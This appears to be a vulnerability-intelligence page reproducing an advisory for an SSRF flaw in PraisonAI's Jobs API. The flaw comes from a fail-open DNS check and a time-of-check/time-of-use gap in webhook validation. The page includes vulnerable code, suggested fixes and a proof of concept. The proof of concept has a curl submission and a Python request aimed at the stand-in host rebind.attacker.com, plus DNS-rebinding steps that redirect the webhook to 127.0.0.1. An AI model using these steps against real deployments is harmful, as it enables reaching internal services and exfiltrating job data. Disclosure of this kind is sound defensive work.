Severity by source
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Network API requires bearer token (PR:L); DNS timing coordination makes AC:H; SSRF reaching internal services constitutes scope change with high confidentiality and low integrity impact.
Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI).
CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI
Lifecycle Timeline
3DescriptionCVE.org
Summary
praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor._send_webhook(), which calls httpx.AsyncClient().post(job.webhook_url) - performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.
An attacker can:
- Submit a job with
webhook_urlpointing to a hostname that currently does not
resolve (NXDOMAIN) → validation passes (gaierror → pass)
- Update DNS to point that hostname to
127.0.0.1or another private IP - When the job completes,
_send_webhook()resolves the hostname fresh → POST sent
to the internal IP
Details
Flaw 1 - Fail-open on DNS error (jobs/models.py lines 58-66):
@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
...
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
raise ValueError("Webhook URL resolves to private network address")
except socket.gaierror:
pass
# <-- FAIL-OPEN: DNS failure allows the URL without restriction
return vWhen socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.
Flaw 2 - Fresh DNS at execution time (jobs/executor.py lines 376-406):
async def _send_webhook(self, job: Job):
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
job.webhook_url,
# <-- fresh DNS resolution here, not cached from validation
json=payload,
...
)httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).
Combined TOCTOU window:
T=0 Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
Result: except socket.gaierror: pass → ACCEPTED
T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)
T=60 Job completes. _send_webhook() fires:
httpx.post("http://rebind.attacker.com/cb")
DNS: rebind.attacker.com → 127.0.0.1
POST reaches 127.0.0.1 → SSRFRelation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhook_url parameter, patched in v4.5.126 by adding validate_webhook_url() to jobs/models.py. This finding targets the validation code itself - the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.
PoC
Requirements: A domain you control with configurable DNS TTL, access to the jobs API
Step 1 - Confirm fail-open behaviour (local code verification):
from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket
# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
req = JobSubmitRequest(
prompt="hello",
webhook_url="http://rebind.attacker.com/callback"
)
# No exception raised - URL accepted despite NXDOMAIN
print("Webhook accepted:", req.webhook_url)Expected: Webhook accepted: http://rebind.attacker.com/callback
Step 2 - Confirm fresh DNS at execution time:
# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently
import httpx, asyncio
async def demo():
# httpx resolves DNS here, not using any cached result from validation
async with httpx.AsyncClient() as client:
# This call resolves "rebind.attacker.com" fresh at runtime
# If DNS changed since validation, it hits the new IP
try:
r = await client.post("http://rebind.attacker.com/callback", json={})
except Exception as e:
print(f"Connection: {e}")
asyncio.run(demo())Step 3 - Full attack scenario:
# 1. Set up domain with short TTL, currently returning NXDOMAIN
# rebind.attacker.com → (no record, TTL=60)
# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"prompt": "Calculate 2+2",
"webhook_url": "http://rebind.attacker.com/callback"
}'
# Response: {"job_id": "job_abc123", "status": "queued", ...}
# 3. After 5 seconds (before job finishes), add DNS record:
# rebind.attacker.com A 127.0.0.1 TTL=60
# 4. Wait for job to complete (seconds to minutes).
# _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
# POST request hits 127.0.0.1 (internal service)
# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}Immediate variant (no DNS timing required):
If DNS resolution fails transiently (rate limit, network blip, temporary outage) during validation, the webhook is accepted unconditionally even for a URL that would normally resolve to a private IP. No attacker control over DNS timing is required - the attacker simply retries submission during moments when their DNS server is unreachable (e.g., their DNS server is down, causing gaierror).
Impact
What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.
Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to external or lower-trusted callers. This includes:
- Multi-tenant deployments where workspace members submit jobs
- API integrations (n8n, Zapier-style workflows) that provide
webhook_urlfields
Post-exploit capabilities:
- HTTP POST to any internal service with JSON payload (job result data)
- If an internal service interprets the POST body as commands (Jenkins webhook,
Consul KV, etc.), this achieves code execution on internal infrastructure
- Exfiltration of job results (which may include agent reasoning, data retrieved
during the task, discovered credentials) to an attacker-controlled endpoint
---
## Remediation Suggestion (for maintainers)
**Fix 1 - Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**
VULNERABLE
except socket.gaierror: pass
FIXED
except socket.gaierror: raise ValueError( "Webhook URL hostname could not be resolved. " "Ensure the hostname is valid and publicly reachable." )
**Fix 2 - Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**
async def _send_webhook(self, job: Job): if not job.webhook_url: return
Re-validate to prevent DNS rebinding
try: from urllib.parse import urlparse import socket, ipaddress hostname = urlparse(job.webhook_url).hostname ip = socket.gethostbyname(hostname) if ipaddress.ip_address(ip).is_private: logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}") return except Exception as e: logger.warning(f"Webhook validation failed at execution: {e}") return
... proceed with httpx.post
AnalysisAI
Server-Side Request Forgery in PraisonAI's Jobs API (pip/praisonai < 4.6.58) results from two compounding flaws: a fail-open DNS error handler in JobSubmitRequest.validate_webhook_url() that silently accepts any webhook URL when socket.gaierror is raised, and a TOCTOU race where JobExecutor._send_webhook() performs a completely independent DNS resolution via httpx.AsyncClient minutes to hours after validation. Authenticated attackers with a valid API bearer token can submit a job whose webhook_url hostname returns NXDOMAIN at validation time, then update DNS to a private IP before job completion, causing the executor to POST job result data to internal infrastructure. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires: (1) a valid bearer token for the PraisonAI Jobs API - CVSS PR:L confirms low-privilege authenticated access is the minimum; unauthenticated exploitation is not supported by the available data; (2a) for the primary DNS-rebinding path, attacker control over a domain's DNS records with ability to serve NXDOMAIN initially then switch to a private IP within the job's queue-processing window; OR (2b) for the transient-DNS-failure variant, the ability to submit jobs during a period when the PraisonAI server's DNS resolver is temporarily unreachable (no DNS control needed - attacker retries submission until a transient gaierror occurs); (3) the PraisonAI deployment must have the Jobs module active and expose the `POST /jobs` endpoint to the attacker. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 score of 7.1 (AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N) accurately characterizes the primary attack path: network-reachable, high complexity due to DNS timing requirements, and low-privilege authentication required. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Upgrade PraisonAI to version 4.6.58 or later, confirmed fixed in patch commit 2f9677abb2ea68eab864ee8b6a828fd0141612e1 (https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1) and released at https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all PraisonAI deployments in your environment and determine running versions; for any instance below 4.6.58, immediately restrict API access tokens to only trusted internal service accounts and disable webhook functionality if possible. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-65515
GHSA-rg5q-pp8p-f7jm